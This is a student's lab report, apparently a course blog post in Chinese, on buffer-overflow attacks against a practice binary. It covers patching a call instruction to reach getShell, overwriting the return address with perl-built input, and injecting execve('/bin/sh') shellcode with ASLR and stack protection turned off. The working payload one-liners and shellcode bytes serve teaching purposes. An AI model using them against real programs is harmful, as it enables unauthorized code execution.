20192411 2021-2022-2 《网络与系统攻防技术》实验一实验报告

20192411 2021-2022-2 《网络与系统攻防技术》实验一实验报告

1.实验内容

这周学习了缓冲区溢出攻击,针对pwn1(我修改为pwn20192411)这个可执行文件,先后用了三种方法来获取到一个可用的Shell。

pwn20192411程序的正常执行流程很简单:main函数调用foo函数,而foo函数会回显任何用户输入的字符串。但这个程序中还包含了另一个getShell代码片段,会返回一个可用的Shell。而前两种方法就是利用这个代码片段来获取到可以用的Shell,第三种方法就是注入Shellcode。

三个缓冲区溢出攻击的方法:

  • 利用getShell代码片段,手工修改pwn20192411,改变其执行流程,直接跳转到getShell函数。
  • 通过foo函数的Bof漏洞,构造出一个攻击输入字符串,从而覆盖返回地址,触发getShell函数。
  • 通过foo函数的Bof漏洞,注入一个自己制作的shellcode并运行。

2.实验过程

  • 直接修改程序机器指令,改变程序执行流程

    首先利用objdump对pwn20192411进行反汇编

    objdump -d pwn20192411 | more
    

    如图所示,可以看到main函数中调用了foo函数。

    即80484b5:e8 d7 ff ff ff call 8048491

    "call 8048491 "是汇编指令,意思就是这条指令将调用位于地址8048491的foo函数,“e8 d7ffffff”是机器指令,e8即跳转之意。

    同时也可以看到getShell函数的存在,所以我们就可以直接修改程序,将调用的地址改为getShell的基地址,程序流程就被我们改变了。

    有了思路后,就要确定我们所要的地址。这时候EIP的值是下条指令的地址,即80484ba,CPU会执行“EIP + d7ffffff”这个位置的指令。d7ffffff是补码,表示偏移量为-29,80484ba+ffffffd7=8048491即为foo函数的地址。

    故我们只要修改“d7ffffff”,改为"getShell-80484ba"对应的补码就行。47d-4ba就能得到补码,即c3ffffff。

    下面就开始修改操作。

    用vim打开pwn20192411:

    vi pwn20192411
    

    再用如下命令将显示模式改为16进制模式:

    :%!xxd
    

    查找要修改的内容:

    /d7
    

    将目标d7修改为c3:

    转换16进制为原格式:

    :%!xxd -r
    

    保存退出vi:

    :wq
    

    修改完后,再用objdump反汇编查看一下call是否调用getShell:

    然后运行改后的程序,发现成功运行:

  • 通过构造输入参数,造成BOF攻击,改变程序执行流

    首先还是用objdump反汇编了解一下程序的基本功能即执行流程:

    可以发现在foo函数中给输入的数据分配了0x1c(28字节)的空间,接着就需要确认输入字符串哪几个字符可以覆盖返回地址。

    如果输入字符串1111111122222222333333334444444412345678,可以看到eip寄存器中值为4321,为小端字节序,所以我们要输入getShell首地址即7d 84 04 08.

    接着就要构造输入的字符串,因为我们不能直接输入二进制数据,所以需要利用perl语言生成包括我们要的字符串的一个文件。

    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    

    构造完后,可以用16进制查看指令xdd查看input文件的内容:

    接着将input通过管道符”|“作为pwn20192411的输入,从而成功进入getShell:

    也可以不构造input,即不生成文件直接输入:

  • 注入Shellcode并执行

    前两种方法都是利用程序中本身带有的getShell函数,但实际情况中程序一般不会有这种函数存在。这时候就需要用到注入Shellcode这样的方法来实现我们的目的。

    • shellcode就是一段机器指令(code)
      • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
      • 所以这段机器指令被称为shellcode。
      • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

    在开始之前,需要进行一些准备工作:

    完成准备工作后,需要构造要注入的payload。

    在Linux中,有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr

    因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

    简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

    这次实验我们构造的结构是anything+retaddr+nops+shellcode,其中shellcode的内容如下:

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
    

    再用perl语言构造输入文件input_shellcode:

    perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
    

    由于我们还需要确定前四字节即返回地址,所以暂且用\x1\x2\x3\x4填充。

    首先打开一个终端注入这段字符串:

    (cat input_shellcode;cat) | ./pwn20192411
    

    再打开另一个终端,用如下命令找到pwn20192411的进程号:

    ps -ef | grep pwn20192411
    

    这里我得到的进程号为4045,接着用gdb调试进程确定地址,如图:

    通过调试可以确定将返回地址改为ff ff d4 f0就可以。接着就利用perl语言将\x1\x2\x3\x4改为\xf0\xd4\xff\xff,重新构造输入文件:

    perl -e 'print "A" x 32;print "\xf0\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
    

    接着重新运行程序,得到结果如图:

    可以看到已经成功获得了Shell。

3.问题及解决方案

  • 问题1:在第一个实践中,改完数据没转换为原格式,直接存盘退出导致程序无法运行。

  • 问题1解决方案:一开始重新用vim打开然后转换回原格式,然后退出,发现程序仍然无法运行,格式已经改不回去,于是利用备份再度修改,然后注意顺序,先转换回原格式,再保存退出。

  • 问题2:在第三个实践的准备工作中,发现没法使用execstack。

  • 问题2解决方案:通过搜索发现需要安装execstack,kali是Debian的发行版,所以选择了对应的版本进行下载。下载后用apt命令完成安装后即可使用。

    apt install ./execstack_0.0.20131005-1+b10_amd64.deb
    

4.学习感悟、思考等

这次实验让我了解了缓冲区溢出攻击,通过王老师的课堂讲解以及刘老师的网课和博客,我学习完成了这个最简单的缓冲区溢出攻击实验。除此之外,我对汇编的一些知识也有了一定的了解,对堆栈也有了更深的认识。虽然这些内容很抽象,但通过网课画图及实践的过程,这些抽象的概念也没那么抽象了。

当然,这次实验比较简单的原因是老师为我们准备好了很多东西。比如Shellcode,如果要自己编写Shellcode,实现其他的功能,就需要更多的学习。同时我也认识到实际情况中的攻击行为是很难的,这次实验准备工作中将地址随机化和堆栈保护都关闭了,而实际中这些是不会为我们关闭的。

最后感谢两位老师及同学对我的帮助和讲解,帮助我成功完成了这次实验。

参考资料

posted @ 2022-03-24 23:47  20192411  阅读(27)  评论(0编辑  收藏  举报